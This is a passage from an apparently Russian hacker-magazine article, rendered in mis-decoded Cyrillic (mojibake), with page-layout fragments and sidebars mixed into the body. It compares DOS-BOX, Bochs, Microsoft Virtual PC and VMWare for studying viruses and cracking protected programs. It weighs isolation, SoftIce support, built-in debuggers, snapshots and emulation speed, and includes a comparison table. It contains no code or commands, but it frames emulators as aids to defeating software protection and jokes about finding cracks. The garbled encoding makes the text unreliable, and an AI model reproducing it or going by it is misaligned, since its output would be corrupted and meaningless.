÷åñêèõ äèñêîâ íå ñòàíäàðòèçîâàí è îá-
ðàçû ðàçëè÷íûõ ýìóëÿòîðîâ êàòåãîðè-
÷åñêè íå ñîâìåñòèìû äðóã ñ äðóãîì.

Îñòàëüíîå îáîðóäîâàíèå ìîæåò
áûòü ëþáûì � ýòî íà ñêîðîñòü ýìóëÿ-
öèè ïðàêòè÷åñêè íèêàê íå âëèÿåò.

ÝÌÓËßÒÎÐ ÄËß ÑÅÁß
Ïðè âûáîðå ïîäõîäÿùåãî ýìóëÿ-

òîðà õàêåðû îáû÷íî ðóêîâîäñòâóþòñÿ
ñëåäóþùèìè êðèòåðèÿìè: çàùèùåí-
íîñòüþ, ðàñøèðÿåìîñòüþ, îòêðû-
òîñòüþ èñõîäíûõ òåêñòîâ, êà÷åñòâîì è
ñêîðîñòüþ ýìóëÿöèè, íàëè÷èåì âñòðî-
åííîãî îòëàä÷èêà è ãèáêîñòüþ ìåõà-
íèçìîâ ðàáîòû ñî snap-shot'àìè. 

ÇÀÙÈÙÅÍÍÎÑÒÜ
Çàïóñêàÿ àãðåññèâíóþ ïðîãðàììó

íà ýìóëÿòîðå, î÷åíü ñëîæíî îòäå-
ëàòüñÿ îò ìûñëè, ÷òî â ëþáîé ìîìåíò
îíà ìîæåò âûéòè èç-ïîä êîíòðîëÿ, îñ-
òàâëÿÿ çà ñîáîé äëèííûé øëåéô ðàç-

ðóøåíèé. Ýòè îïàñåíèÿ âïîëíå îáîñ-
íîâàííû. Ìíîãèå èç ýìóëÿòîðîâ (DOS-
BOX, Virtual PC) ñîäåðæàò "äûðû",
ïîçâîëÿþùèå ýìóëèðóåìîìó êîäó
íàïðÿìóþ îáðàùàòüñÿ ê ïàìÿòè ñàìî-
ãî ýìóëÿòîðà. Íàïðèìåð, âûçûâàòü îò
åãî èìåíè è ñ åãî ïðèâèëåãèÿìè ïðî-
èçâîëüíûå API-ôóíêöèè õîçÿéñêîé
îïåðàöèîííîé ñèñòåìû :). Îäíàêî
"ïðîáèòü" ýìóëÿòîð ìîæåò òîëüêî
ñïåöèàëüíûì îáðàçîì ñïðîåêòèðî-
âàííàÿ ïðîãðàììà, òàê ÷òî ïðè âñåé
òåîðåòè÷åñêîé îáîñíîâàííîñòè óãðî-
çû âåðîÿòíîñòü åå ïðàêòè÷åñêîé ðåà-
ëèçàöèè áëèçêà ê íóëþ � ýìóëÿòîðû
íå íàñòîëüêî ïîïóëÿðíû, ÷òîáû àãðåñ-
ñîðû âçÿëèñü çà íèõ âñåðüåç.

À âîò ñåòåâîå âçàèìîäåéñòâèå � äðó-
ãîå äåëî. Ýìóëÿöèÿ âèðòóàëüíîé ëî-
êàëüíîé ñåòè ñîõðàíÿåò âñå óÿçâèìîñòè
õîçÿéñêîé îïåðàöèîííîé ñèñòåìû, è ñå-
òåâîé ÷åðâü ìîæåò åå ëåãêî àòàêîâàòü!
Ïîýòîìó õîçÿéñêàÿ îïåðàöèîíêà èç
âèðòóàëüíîé ëîêàëüíîé ñåòè äîëæíà
áûòü â îáÿçàòåëüíîì ïîðÿäêå èñêëþ÷å-
íà. Åñòåñòâåííî, òàêîå ðåøåíèå ñóùåñò-
âåííî çàòðóäíÿåò îáùåíèå âèðòóàëü-
íûõ ìàøèí ñ âíåøíèì ìèðîì, è ïîýòî-
ìó èì ÷àñòî ïðåíåáðåãàþò. Êñòàòè, ïåð-
ñîíàëüíûå áðàíäìàóýðû â áîëüøèí-
ñòâå ñâîåì íå êîíòðîëèðóþò âèðòóàëü-
íûå ñåòè è íå çàùèùàþò îò âòîðæåíèÿ.

Íåêîòîðûå ýìóëÿòîðû ïîçâîëÿþò
âçàèìîäåéñòâîâàòü ñ âèðòóàëüíûìè
ìàøèíàìè ÷åðåç ìåõàíèçì îáùèõ ïà-
ïîê. Ïðè ýòîì ïàïêà õîçÿéñêîé ÎÑ âè-
äèòñÿ êàê ëîãè÷åñêèé äèñê èëè ñåòå-
âîé ðåñóðñ. Ïðè âñåõ ïðåèìóùåñòâàõ
òàêîãî ïîäõîäà îí èíòóèòèâíî íåáåçî-
ïàñåí è â ñðåäå õàêåðîâ íå ñûñêàë
îñîáåííîé ïîïóëÿðíîñòè.

ÐÀÑØÈÐßÅÌÎÑÒÜ
Ïðîôåññèîíàëüíî îðèåíòèðîâàí-

íûé ýìóëÿòîð äîëæåí ïîääåðæèâàòü
âîçìîæíîñòü ïîäêëþ÷åíèÿ âíåøíèõ
ìîäóëåé, èìèòèðóþùèõ íåñòàíäàðò-
íîå îáîðóäîâàíèå (íàïðèìåð, HASP).
Îñîáåííî ýòî àêòóàëüíî äëÿ èññëå-
äîâàíèÿ çàùèò òèïà Star Force 3,
íàïðÿìóþ âçàèìîäåéñòâóþùèõ ñ àï-
ïàðàòóðîé è ïðèâÿçûâàþùèõñÿ ê òåì
îñîáåííîñòÿì åå ïîâåäåíèÿ, î êîòî-
ðûõ øòàòíûå ýìóëÿòîðû ïîðîé äàæå
è íå ïîäîçðåâàþò.
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Äëÿ çàãðóç-
êè âèðòó-
àëüíîé ìà-
øèíû ñ CD-
ROM íåîá-
õîäèìî âîé-
òè â âèðòó-
àëüíûé
BIOS Setup
(â VMWare
ýòî äåëàåò-
ñÿ íàæàòè-
åì êëàâèøè
F2 íà íà-
÷àëüíîé
çàñòàâêå) è
â ìåíþ boot
âûòÿíóòü
CD-ROM íà-
âåðõ.

SoftIce, çà-
ïóùåííûé
ïîä ýìóëÿ-
òîðîì, íå
çàìîðàæè-
âàåò îñíîâ-
íóþ ñèñòå-
ìó, íå çà-
òûêàÿ
WinAmp, íå
ðàçðûâàÿ
ñîåäèíåíèÿ
ñ èíòåðíå-
òîì, íå çà-
ìîðàæèâàÿ
÷àñû ñèñ-
òåìíîãî
âðåìåíè è
îñòàâëÿÿ
MSDN äîñ-
òóïíûì!

Äèàãíîñòèêà âèðòóàëüíîé ìàøèíû, ñîçäàííîé ýìóëÿòîðîì
VMWare

Áåñïëàòíûé ýìóëÿòîð, ðàñïðîñòðàíÿþùèéñÿ â èñõîäíûõ òåêñòàõ.
Ýìóëèðóåò åäèíñòâåííóþ îïåðàöèîííóþ ñèñòåìó � MS DOS 5.0. Ïðèìå-
íÿåòñÿ â îñíîâíîì äëÿ çàïóñêà ñòàðûõ èãð. Æåñòêèå äèñêè íå ýìóëèðó-
þòñÿ (ýìóëÿöèÿ äèñêîâîãî ââîäà-âûâîäà çàêàí÷èâàåòñÿ íà ïðåðûâàíèè
INT 21h), è SoftIce íà íåì íå èäåò. Çàòî cup386 (ðàñïàêîâùèê èñïîëíÿå-
ìûõ ôàéëîâ ïëþñ îòëàä÷èê) ðàáîòàåò èñïðàâíî. Èìååòñÿ íåïëîõîé èí-
òåãðèðîâàííûé îòëàä÷èê, ïðàâäà, äëÿ ýòîãî ýìóëÿòîð äîëæåí áûòü ïåðå-
êîìïèëèðîâàí ñ îòëàäî÷íûìè êëþ÷àìè.
Âîçìîæíîñòü ðàñøèðåíèÿ êîíñòðóêòèâíî íå ïðåäóñìîòðåíà, îäíàêî
äîñòóïíîñòü õîðîøî ñòðóêòóðèðîâàííûõ èñõîäíûõ òåêñòîâ äåëàåò ýòó
ïðîáëåìó íåàêòóàëüíîé è òû â ëþáîé ìîìåíò ìîæåøü äîáàâèòü ê ýìó-
ëÿòîðó êàêóþ-íèáóäü ôè÷ó (íàïðèìåð, âèðòóàëüíûé æåñòêèé äèñê).

Ïîääåðæèâàþòñÿ òðè ðåæèìà ýìóëÿöèè: ïîëíàÿ, ÷àñòè÷íàÿ è äèíàìè-
÷åñêàÿ. Ïîëíîòà "ïîëíîé" ýìóëÿöèè íà ñàìîì äåëå äîâîëüíî óñëîâíà
(SoftIce íå èäåò!), îäíàêî äëÿ ïîäàâëÿþùåãî áîëüøèíñòâà íåèçâðàùåí-
íûõ ïðîãðàìì ñ ëèõâîé õâàòàåò è ÷àñòè÷íîé. Îáà ýòè ðåæèìà äîñòàòî÷íî
íàäåæíû, è âûðâàòüñÿ çà ïðåäåëû ýìóëÿòîðà íåðåàëüíî. Ïðàâäà, ïðîèç-
âîäèòåëüíîñòü âèðòóàëüíîé ìàøèíû îñòàâëÿåò æåëàòü ëó÷øåãî �
Pentium III 733 MHz îïóñêàåòñÿ äî 13.17 MHz, çàìåäëÿÿñü áîëåå ÷åì â
50 ðàç. Ìîäóëü äèíàìè÷åñêîé ýìóëÿöèè (âûïîëíÿþùèé êîä íà "æèâîì"
ïðîöåññîðå) âñå åùå íàõîäèòñÿ â ñòàäèè ðàçðàáîòêè. À òåêóùàÿ âåðñèÿ
ñîäåðæèò ìíîãî îøèáîê, ÷àñòü èç êîòîðûõ ôàòàëüíà, ïîýòîìó ïîëüçîâàòü-
ñÿ èì íå ðåêîìåíäóåòñÿ (õîòÿ åãî ïðîèçâîäèòåëüíîñòü â÷åòâåðî âûøå).

Îáìåí äàííûìè ñ âíåøíèì ìèðîì ïðîèñõîäèò ëèáî ÷åðåç ïðÿìîé äîñòóï
ê CD-ROM, ëèáî ÷åðåç ìîíòèðîâàíèå êàòàëîãîâ ôèçè÷åñêîãî äèñêà íà
âèðòóàëüíûå ëîãè÷åñêèå äèñêè, äîñòóïíûå èç-ïîä ýìóëÿòîðà ÷åðåç èí-
òåðôåéñ INT 21h. Ýòî îáåñïå÷èâàåò äîñòàòî÷íî íàäåæíóþ çàùèòó îò
âðåäîíîñíûõ ïðîãðàìì. Óíè÷òîæèòü ñìîíòèðîâàííóþ äèðåêòîðèþ îíè
ñìîãóò, íî âñå îñòàëüíûå � íåò!

DOS-BOX ïîäõîäèò äëÿ ýêñïåðèìåíòîâ ñ áîëüøèíñòâîì MS-DOS-âèðó-
ñîâ (èñêëþ÷àÿ, ïîæàëóé, ëèøü òå, ÷òî íóæäàþòñÿ â ïðåðûâàíèè INT 13
èëè ïîðòàõ ââîäà/âûâîäà), à òàêæå âçëîìà ïðîãðàìì, ðàáîòàþùèõ êàê â
ðåàëüíîì, òàê è â çàùèùåííîì ðåæèìàõ.

DOS-BOX



Íåêîòîðûå èç ýìóëÿòîðîâ ðàñøèðÿå-
ìû, íåêîòîðûå - íåò. Íî äàæå ó ðàñøè-
ðÿåìûõ ñòåïåíü ìàíåâðåííîñòè è ãëó-
áèíà êîíôèãóðàáåëüíîñòè äîâîëüíî
íåâåëèêè è ïîâåðõíîñòíî äîêóìåíòèðî-
âàíû (åñëè äîêóìåíòèðîâàíû âîîáùå).
Íàâåðíîå, ýòî ïðîèñõîäèò îòòîãî, ÷òî
ôàêòîð ðàñøèðÿåìîñòè ðåàëüíî òðåáó-
åòñÿ î÷åíü è î÷åíü íåìíîãèì. Ýìóëÿòî-
ðû âåäü ïèøóò íå äëÿ õàêåðîâ! À æàëü.

ÎÒÊÐÛÒÎÑÒÜ
ÈÑÕÎÄÍÛÕ ÒÅÊÑÒÎÂ

Íàëè÷èå èñõîäíûõ òåêñòîâ ÷àñ-
òè÷íî êîìïåíñèðóåò ñâèíñêîå êà÷å-
ñòâî äîêóìåíòàöèè è ïëîõóþ ðàñøè-
ðÿåìîñòü ýìóëÿòîðà. Åñëè ïîäîïûò-
íàÿ ïðîãðàììà îòêàçûâàåòñÿ âûïîë-
íÿòüñÿ ïîä ýìóëÿòîðîì, èñõîäíûå
òåêñòû ïîìîãóò ðàçîáðàòüñÿ â ñèòó-
àöèè è óñòðàíèòü äåôåêò. Ìîæíî îñ-
íàñòèòü ýìóëÿòîð âñåì íåîáõîäè-
ìûì èíñòðóìåíòàðèåì. Íàïðèìåð,
äàìïåðîì ïàìÿòè èëè back tracer'îì,
ïîçâîëÿþùèì ïðîêðó÷èâàòü âûïîë-
íåíèå ïðîãðàììû â îáðàòíîì ïîðÿä-
êå (ìåæäó ïðî÷èì, êëàññíàÿ âåùü
äëÿ âçëîìà). Òàêæå åñòü âîçìîæ-
íîñòü îïåðàòèâíîãî äîáàâëåíèÿ íå-
äîêóìåíòèðîâàííûõ ìàøèííûõ êî-
ìàíä èëè íàáîðîâ èíñòðóêöèé íî-
âûõ ïðîöåññîðîâ.

Ê ñîæàëåíèþ, êîììåð÷åñêèå ýìóëÿ-
òîðû ðàñïðîñòðàíÿþòñÿ áåç èñõîäíûõ
òåêñòîâ, à ýìóëÿòîðû Open Source âñå
åùå íå âûøëè èç þíîøåñêîãî âîç-
ðàñòà è äëÿ ðåøåíèÿ ñåðüåçíûõ çà-
äà÷, óâû, íåïðèãîäíû. 

ÊÀ×ÅÑÒÂÎ ÝÌÓËßÖÈÈ
Êàêîé ïðîê îò ýìóëÿòîðà, åñëè íà

íåì íå çàïóñêàåòñÿ SoftIce? Ìîæíî,
êîíå÷íî, èñïîëüçîâàòü è äðóãèå îò-
ëàä÷èêè, íàïðèìåð Olly Debugger, íî
èõ âîçìîæíîñòè áîëåå îãðàíè÷åííû, à
íà íåêà÷åñòâåííûõ ýìóëÿòîðàõ íåêî-
òîðûå èç çàùèùåííûõ ïðîãðàìì
ïðîñòî íå èäóò!

Äëÿ óâåëè÷åíèÿ ñêîðîñòè ýìóëÿöèè
ìíîãèå èç ðàçðàáîò÷èêîâ ñîçíàòåëüíî
óñåêàþò íàáîð ýìóëèðóåìûõ êîìàíä,
ïîääåðæèâàÿ òîëüêî íàèáîëåå àêòó-
àëüíûå èç íèõ (ýòî îòíîñèòñÿ ê ïðèâè-

ëåãèðîâàííûì êîìàíäàì çàùèùåííîãî
ðåæèìà, êîìàíäàì ìàòåìàòè÷åñêîãî
ñîïðîöåññîðà âêëþ÷àÿ "ìóëüòèìåäèé-
íûå" è íåêîòîðûì ðåäêîçåìåëüíûì êî-
ìàíäàì ðåàëüíîãî ðåæèìà). Ñëóæåá-
íûå ðåãèñòðû, ôëàãè òðàññèðîâêè è
äðóãèå ïîäîáíûå èì âîçìîæíîñòè ÷à-

ùå âñåãî îñòàþòñÿ íåçàäåéñòâîâàííû-
ìè. Òåì íå ìåíåå, òàêèå ýìóëÿòîðû ïðè-
ãîäíû íå òîëüêî äëÿ çàïóñêà èãðóøåê!
Èõ ìîæíî èñïîëüçîâàòü êàê "êàðàíòèí-
íóþ" çîíó äëÿ ïðîâåðêè ñâåæåðàçäî-
áûòûõ ïðîãðàìì íà âèðóñû èëè êàê ïî-
äîïûòíóþ ìûøü äëÿ ýêñïåðèìåíòîâ ñ
òåì æå Disk Editor'îì.

Êîììåð÷åñêèå ýìóëÿòîðû â áîëü-
øèíñòâå ñâîåì èñïîëüçóþò ìåõà-
íèçìû äèíàìè÷åñêîé ýìóëÿöèè, ýìó-
ëèðóÿ òîëüêî ïðèâèëåãèðîâàííûå
êîìàíäû. À âñå îñòàëüíûå âûïîëíÿ-
þòñÿ íà "æèâîì" ïðîöåññîðå � â ñó-
ìåðå÷íîé çîíå èçîëèðîâàííîãî àä-
ðåñíîãî ïðîñòðàíñòâà, îêðóæåííîé
÷àñòîêîëîì âèðòóàëüíûõ ïîðòîâ,
÷òî íå òîëüêî ñóùåñòâåííî óâåëè-
÷èâàåò ïðîèçâîäèòåëüíîñòü, íî è
àâòîìàòè÷åñêè äîáàâëÿåò ïîääåðæ-
êó âñåõ íîâîìîäíûõ ìóëüòèìåäèé-
íûõ êîìàíä. Ðàçóìååòñÿ, ïðè óñëî-
âèè ÷òî èõ ïîääåðæèâàåò òâîé ôè-
çè÷åñêèé ïðîöåññîð.

Ìåæäó òåì, â îáðàáîòêå èñêëþ÷è-
òåëüíûõ ñèòóàöèé ("ýêñêåïøåíàìè"),
âîçäåéñòâèÿõ êîìàíä íà ôëàãè, íåäî-
ïóñòèìûõ ñïîñîáàõ àäðåñàöèè ýìóëÿ-
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Âñå îïèñû-
âàåìûå
ýìóëÿòîðû
òû íàéäåøü
íà íàøåì
äèñêå.

Îäèí è òîò
æå äèñêî-
âûé îáðàç
ìîæåò áûòü
ïîäêëþ÷åí
ê íåñêîëü-
êèì âèðòó-
àëüíûì ìà-
øèíàì -
óäîáíî äëÿ
ïåðåäà÷è
ôàéëîâ
ìåæäó íèìè
èëè ñîâìå-
ñòíîãî èñ-
ïîëüçîâà-
íèÿ ïðèëî-
æåíèé.

ÈÍÑÒÐÓÌÅÍÒÀÐÈÉ ÕÀÊÅÐÀ82 ÇÀÙÈÒÀ

Ïîäëèííî õàêåðñêèé ýìóëÿòîð, îðèåíòèðîâàííûé íà ïðîôåññèî-
íàëîâ. Ïðîñòûå ñìåðòíûå íàõîäÿò åãî ÷åðåñ÷óð çàïóòàííûì è íåï-
ðîõîäèìî ñëîæíûì. Çäåñü âñå íàñòðàèâàåòñÿ ÷åðåç òåêñòîâûå êîí-
ôèãóðàöèîííûå ôàéëû � îò êîëè÷åñòâà ïðîöåññîðîâ (Bochs - åäèí-
ñòâåííûé èç ìíîãèõ èçâåñòíûõ ýìóëÿòîðîâ, ïîçâîëÿþùèé ýìóëèðî-
âàòü áîëåå îäíîãî ïðîöåññîðà) äî ãåîìåòðèè âèðòóàëüíîãî äèñêà.

Ýòî íåêîììåð÷åñêèé ïðîäóêò ñ îòêðûòûìè èñõîäíûìè òåêñòàìè è
âïå÷àòëÿþùèì êà÷åñòâîì ýìóëÿöèè. Êîíòðîëëåðû ãèáêèõ è æåñò-
êèõ IDE-äèñêîâ ýìóëèðóþòñÿ íà óðîâíå ïîðòîâ ââîäà/âûâîäà, îáåñ-
ïå÷èâàÿ ñîâìåñòèìîñòü ïðàêòè÷åñêè ñî âñåìè íèçêîóðîâíåâûìè
ïðîãðàììàìè. Ïîëíîñòüþ ýìóëèðóåòñÿ çàùèùåííûé ðåæèì ïðî-
öåññîðà. Âî âñÿêîì ñëó÷àå, SoftIce çàïóñêàåòñÿ óñïåøíî (ïðàâäà,
ðàáîòàåò íåñêîëüêî íåñòàáèëüíî, ïåðèîäè÷åñêè çàâåøèâàÿ âèðòó-
àëüíóþ êëàâèàòóðó). Èìååòñÿ äîñòàòî÷íî ïðèëè÷íûé èíòåãðèðî-
âàííûé îòëàä÷èê ñ íåîãðàíè÷åííûì êîëè÷åñòâîì âèðòóàëüíûõ òî-
÷åê îñòàíîâà è ôóíêöèåé îáðàòíîé òðàññèðîâêè. 
Ê ñîæàëåíèþ, íåâûñîêàÿ ñêîðîñòü ýìóëÿöèè íå ïîçâîëÿåò çàïóñ-
êàòü ãðàôè÷åñêèå ñèñòåìû. Ñóäè ñàì: ýôôåêòèâíàÿ òàêòîâàÿ ÷àñ-
òîòà Pentium III 733MHz ïàäàåò äî 1.49 MHz. Ýòî ñêîëüêî æå ÷àñîâ
áóäåò çàãðóæàòüñÿ Windows 2000?!

Ðàáîòà ñ äèñêîâûìè îáðàçàìè ðåàëèçîâàíà, ïðÿìî ñêàæåì, íå
î÷åíü. Ïîääåðæèâàþòñÿ òîëüêî ôèêñèðîâàííûå äèñêè, à ñàìè îá-
ðàçû ñîçäàþòñÿ âíåøíèìè ñðåäñòâàìè îò íåçàâèñèìûõ ðàçðàáîò-
÷èêîâ. Ê ñ÷àñòüþ, èìååòñÿ âîçìîæíîñòü ïðÿìîãî äîñòóïà ê CD-
ROM-ïðèâîäó, íî âîò ê ôèçè÷åñêèì ãèáêèì äèñêàì ïðÿìîãî äîñòóïà
íåò. Ïîýòîìó, ÷òîáû âûíåñòè ïàðó ôàéëîâ èç âèðòóàëüíîé ìàøèíû,
ïðèõîäèòñÿ ïîïàðèòüñÿ. Âîçìîæíîñòü ðàáîòû ñî snap-shoot'àìè
òàêæå îòñóòñòâóåò (ïîä shap-shoot'îì Bochs ïîíèìàåò îòíþäü íå
ñîñòîÿíèå âèðòóàëüíîé ìàøèíû, à êîïèþ åå ýêðàíà).

Ýìóëÿòîð õîðîøî ïîäõîäèò äëÿ èññëåäîâàíèÿ âèðóñîâ è îòëàäêè
èçâðàùåííûõ ïðîãðàìì, ðàáîòàþùèõ â MS-DOS èëè òåðìèíàëüíîì
ðåæèìå Linux/FreeBSD, à òàêæå ýêñïåðèìåíòîâ ñ ðàçëè÷íûìè ôàé-
ëîâûìè ñèñòåìàìè.

BOCHS

Îñíîâíûå õàðàêòåðèñòèêè íàèáîëåå ïîïóëÿðíûõ ýìóëÿòîðîâ

DDOOSS-BBOOXX BBoocchhss MMiiccrroossoofftt VViirrttuuaall PPCC VVMM WWaarree

áåñïëàòíîñòü äà äà íåò íåò

èñõîäíûå òåêñòû äà äà íåò íåò

êîë-âî ýìóëèðóåìûõ
ïðîöåññîðîâ 1 1, 2, 4, 8 1 1

ýôôåêòèâíàÿ
òàêòîâàÿ ÷àñòîòà íà
Pentium III 733

13,17 MHz 1,49 MHz 189 MHz 336 MHz

ðàñøèðÿåìîñòü íåò ÷àñòè÷íî íåò ÷àñòè÷íî

ïîääåðæêà äèíàìè-
÷åñêîé ýìóëÿöèè
ïðîöåññîðà

÷àñòè÷íî íåò äà äà

âèðòóàëüíûå
æåñòêèå äèñêè íåò

IDE,
ôèêñèðîâàííûå

îáðàçû

IDE, äèíàìè÷åñêèå
è ôèêñèðîâàííûå

îáðàçû

IDE/SCSI,
äèíàìè÷åñêèå è
ôèêñèðîâàííûå

îáðàçû

ïîääåðæêà soft-ice íåò ÷àñòè÷íî íåò äà

âñòðîåííûé
îòëàä÷èê

äà, íî òðåáóåòñÿ
ïåðåêîìïèëÿöèÿ äà íåò íåò

ðàáîòà ñî shap-
shoot'àìè íåò íåò íåò äà



òîðû (äàæå äèíàìè÷åñêèå) çà÷àñòóþ
âåäóò ñåáÿ ñîâñåì íå òàê, êàê íàñòîÿ-
ùèé ïðîöåññîð, è çàùèòíûé êîä ìî-
æåò âûÿñíèòü ýòî. Âïðî÷åì, åñëè çà-
ùèùåííàÿ ïðîãðàììà íå áóäåò ðàáî-
òàòü ïîä ýìóëÿòîðîì, ýòî ñèëüíî âîç-
ìóòèò ëåãàëüíûõ ïîëüçîâàòåëåé.

ÂÑÒÐÎÅÍÍÛÉ ÎÒËÀÄ×ÈÊ
Çàùèùåííûå ïðîãðàììû âñÿ÷åñêè

ïðîòèâîñòîÿò îòëàä÷èêàì, äèçàññåìá-
ëåðàì, äàìïåðàì è ïðî÷åìó õàêåðñêî-
ìó îðóæèþ. Êàê ïðàâèëî, äî íóëåâîãî
êîëüöà äåëî íå äîõîäèò, õîòÿ íåêîòî-
ðûå çàùèòû (íàïðèìåð, extreme pro-
tector) ðàáîòàþò è òàì. Ñóùåñòâóþò
äåñÿòêè, åñëè íå ñîòíè, ñïîñîáîâ ñîð-
âàòü îòëàä÷èêó êðûøó, è ïðîòèâîñòî-
ÿòü èì äîñòàòî÷íî òðóäíî.

Ìîãóùåñòâî ýìóëÿòîðà êàê ðàç è çàê-
ëþ÷àåòñÿ â òîì, ÷òî îí ïîëíîñòüþ êîíò-
ðîëèðóåò âûïîëíÿåìûé êîä è îáû÷íûå
àíòèîòëàäî÷íûå ïðèåìû â åãî ñëó÷àå
íå ñðàáàòûâàþò. Àïïàðàòíûå îãðàíè÷å-
íèÿ ýìóëèðóåìîãî ïðîöåññîðà íà ñàì
ýìóëÿòîð íå ðàñïðîñòðàíÿþòñÿ. Êîëè-
÷åñòâî "àïïàðàòíûõ" òî÷åê îñòàíîâà íå
îáÿçàíî ðàâíÿòüñÿ ÷åòûðåì, êàê íà
x86. Ïðè íåîáõîäèìîñòè ýìóëÿòîð ìî-
æåò ïîääåðæèâàòü òûñÿ÷ó èëè äàæå
ìèëëèîí òî÷åê îñòàíîâà, ïðè÷åì óñëî-
âèÿ èõ ñðàáàòûâàíèÿ ìîãóò áûòü ñêîëü
óãîäíî èçâðàùåííûìè.

Åñòåñòâåííî, äëÿ ýòîãî ýìóëÿòîð
äîëæåí áûòü îñíàùåí èíòåãðèðî-
âàííûì îòëàä÷èêîì. Ëþáîé äðóãîé

îòëàä÷èê, çàïóùåííûé ïîä ýìóëÿòî-
ðîì, íèêàêèõ äîïîëíèòåëüíûõ ïðåè-
ìóùåñòâ íå ïîëó÷àåò. Âîçìîæíîñòè
èìåþùèõñÿ èíòåãðèðîâàííûõ îòëàä-
÷èêîâ äîñòàòî÷íî íåâåëèêè è îáåñ-
ïå÷èâàþò íè÷óòü íå ëó÷øóþ ôóíê-

öèîíàëüíîñòü, ÷åì debug.com, à íå-
ðåäêî ñóùåñòâåííî óñòóïàþò åìó.
Ïîýòîìó ê íèì ñòîèò ïðèáåãàòü ëèøü
â êðàéíèõ ñëó÷àÿõ, êîãäà îáûêíî-
âåííûå îòëàä÷èêè ñ çàùèòîé óæå íå
ñïðàâëÿþòñÿ. E
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Íåïëîõîé êîììåð÷åñêèé ýìóëÿòîð, êîòîðûé ðàñï-
ðîñòðàíÿåòñÿ áåç èñõîäíûõ òåêñòîâ, íî çàòî îáåñïå÷è-
âàåò ïðèëè÷íóþ ñêîðîñòü ýìóëÿöèè, ïðåâðàùàþùóþ
Pentium III 733 MHz â Pentium III 187 MHz (äèíàìè-
÷åñêèé ðåæèì ýìóëÿöèè îáåñïå÷èâàåò ïîääåðæêó
âñåõ ìàøèííûõ êîìàíä ôèçè÷åñêîãî ïðîöåññîðà).

Ïîëíîñòüþ ýìóëèðóþòñÿ AMI BIOS (ñ âîçìîæíîñòüþ
êîíôèãóðèðîâàíèÿ ÷åðåç Setup), ÷èïñåò Intel 440BX,
çâóêîâàÿ êàðòà òèïà Creative Labs Sound Blaster 16
ISA, ñåòåâîé àäàïòåð DEC 21140A 10/100 è âèäåîêàðòà
S3 Trio 32/64 PCI ñ 8 Má ïàìÿòè íà áîðòó. Â èòîãå - äî-
âîëüíî âíóøèòåëüíàÿ êîíôèãóðàöèÿ, ïîçâîëÿþùàÿ
çàïóñêàòü ñîâðåìåííûå îïåðàöèîííûå ñèñòåìû ñå-
ìåéñòâà Windows NT è FreeBSD ñ "èêñàìè".

Èìååòñÿ âîçìîæíîñòü ïðÿìîãî äîñòóïà ê ãèáêèì è îï-
òè÷åñêèì äèñêàì. Æåñòêèå äèñêè ýìóëèðóþòñÿ íà
óðîâíå äâóõêàíàëüíîãî êîíòðîëëåðà IDE (ñìîòðè äîêó-
ìåíòàöèþ íà ÷èïñåò 440BX), ðàçìåùàÿñü íà âèí÷åñòå-
ðå â âèäå äèíàìè÷åñêîãî èëè ôèêñèðîâàííîãî ôàéëà-
îáðàçà. Ïðè æåëàíèè ìîæíî âçàèìîäåéñòâîâàòü ñ õî-
çÿéñêîé îïåðàöèîííîé ñèñòåìîé è îñòàëüíûìè âèðòó-
àëüíûìè ìàøèíàìè ÷åðåç ðàçäåëÿåìûå ïàïêè èëè âèð-
òóàëüíóþ ëîêàëüíóþ ñåòü. Îáà ýòè ìåòîäà ñ õàêåðñêîé
òî÷êè çðåíèÿ íåáåçîïàñíû, è ïîòîìó ïðè èññëåäîâàíèè
àãðåññèâíûõ ïðîãðàìì ê íèì ëó÷øå íå ïðèáåãàòü.

Ê ñîæàëåíèþ, ïðè ïîïûòêå çàïóñêà SoftIce ýìóëÿòîð
àâàðèéíî çàâåðøàåò ðàáîòó âèðòóàëüíîé ìàøèíû.

Âñòðîåí-
íûé îòëàä-
÷èê îòñóò-
ñòâóåò, êàê
îòñóòñòâóåò
è âîçìîæ-
íîñòü ñîõ-
ð à í å í è ÿ
ñîñòîÿíèé
âèðòóàëü-
íîé ìàøè-
íû ñ ïîñëå-
ä ó þ ù è ì
âîçðàùåíè-
åì ê íèì.
Âñå ýòî ñó-
ùåñòâåííî
îãðàíè÷èâà-
åò îáëàñòü
ïðèìåíåíèÿ äàííîãî ýìóëÿòîðà. Áóäü îí áåñïëàòíûì
ïðîäóêòîì, åãî áûëî áû ìîæíî ñìåëî ðåêîìåíäîâàòü äëÿ
ýêñïåðèìåíòîâ ñ ôàéëîâûìè ñèñòåìàìè íà ïðåäìåò îá-
ðåòåíèÿ íàâûêîâ ïî ðàçðóøåíèþ/âîññòàíîâëåíèþ äàí-
íûõ. Íî ýòî ÿâíî íå ñòîèò òåõ äåíåã, êîòîðûå çà íåãî ïðî-
ñÿò. Áåñïëàòíî ìîæíî óòÿíóòü òîëüêî äåìîíñòðàöèîí-
íóþ âåðñèþ, ðàáîòàþùóþ íà ïðîòÿæåíèè 45 äíåé, ïîñ-
ëå ÷åãî òðåáóåò ðåãèñòðàöèè (âïðî÷åì, â íàøåé ñòðàíå
ðåãèñòðàöèè ñèíîíèìè÷íî "ñåé÷àñ-ìû-íàéäåì-êðýê").

MICROSOFT VIRTUAL PC

Microsoft Virtual PC ýìóëèðóåò êîìïüþòåð
öåëèêîì, âêëþ÷àÿ BIOS Setup

Ðåàêöèÿ Microsoft Virtual PC íà ïîïûòêó çà-
ïóñêà Soft-Ice

Åùå îäèí êîììåð÷åñêèé ýìóëÿòîð, íî â îòëè÷èå îò êîíêóðåíòîâ
îí äåéñòâèòåëüíî ñòîèò òîãî, ÷òîáû çà íåãî çàïëàòèòü. Ýòî åäèí-
ñòâåííûé ýìóëÿòîð, ñòàáèëüíî ïîääåðæèâàþùèé SoftIce è óìåþùèé
ðàáîòàòü ñî snap-shoot'àìè.

Ñêîðîñòü ýìóëÿöèè � âûøå âñÿêèõ ïîõâàë. Pentium III 733 MHz
ïðåâðàùàåòñÿ â Pentium III 336 MHz, òî åñòü çàìåäëÿåòñÿ ìåíåå
÷åì â äâà ðàçà. Ïîëíîñòüþ ýìóëèðóþòñÿ Phoenix BIOS 4.0, ÷èïñåò òè-
ïà Intel 440BX è LSI LogicR LSI53C10xx Ultra160 SCSI I/O êîíòðîëëåð,
ïîääåðæèâàþùèé âèðòóàëüíûå SCSI-äèñêè, ðàçìåùàþùèåñÿ â äèíà-
ìè÷åñêîì èëè ôèêñèðîâàííîì ôàéëå-îáðàçå. Ïðè æåëàíèè ìîæíî
ðàáîòàòü è ñ IDE-äèñêàìè, íî îíè ìåíåå ïðîèçâîäèòåëüíû.

